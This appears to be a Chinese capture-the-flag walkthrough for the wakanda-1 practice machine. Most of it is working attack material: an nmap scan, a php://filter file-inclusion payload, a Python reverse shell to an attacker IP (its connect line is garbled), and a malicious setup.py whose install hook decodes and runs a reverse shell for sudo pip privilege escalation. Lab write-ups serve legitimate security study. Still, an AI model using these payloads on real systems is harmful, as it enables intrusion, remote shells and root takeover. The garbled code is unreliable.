【渗透测试】wakanda-1通关手册

nmap 192.168.1.8 -sV -v

php:// 是一种协议名称php://filter/ 是一种访问本地文件的协议/read=convert.base64-encode/ 表示读取的方式是base64编码后resource=index.php表示目标文件为index.php

?lang=php://filter/read=convert.base64-encode/resource=index

import socket  import subprocess  import os  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  s.connect(("192.168.1.64444os.dup2(s.fileno(),0)  os.dup2(s.fileno(),1)  os.dup2(s.fileno(),2)  p=subprocess.call(["/bin/sh","-i"])

https://www.root4loot.com/post/pip-install-privilege-escalation/

from setuptools import setup  from setuptools.command.install import install  import base64  import os  
class CustomInstall(install):      def run(self):        install.run(self)      RHOST = '192.168.1.6'         reverse_shell = 'python -c "import os; import pty; import socket; lhost = '%s'; lport = 5555; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv('HISTFILE', '/dev/null'); pty.spawn('/bin/bash'); s.close();"' % RHOST     encoded = base64.b64encode(reverse_shell)     os.system('echo %s|base64 -d|bash' % encoded)     setup(name='FakePip',        version='0.0.1',        description='This will exploit a sudoer able to /usr/bin/pip install *',        url='https://github.com/0x00-0x00/fakepip',        author='zc00l',        author_email='[email protected]',        license='MIT',        zip_safe=False,        cmdclass={'install': CustomInstall})

sudo -H /usr/bin/pip install . --upgrade --force-reinstall

https://pan.baidu.com/s/1_Uottec15kFygfOUt1NaGQ 提取码：p8h7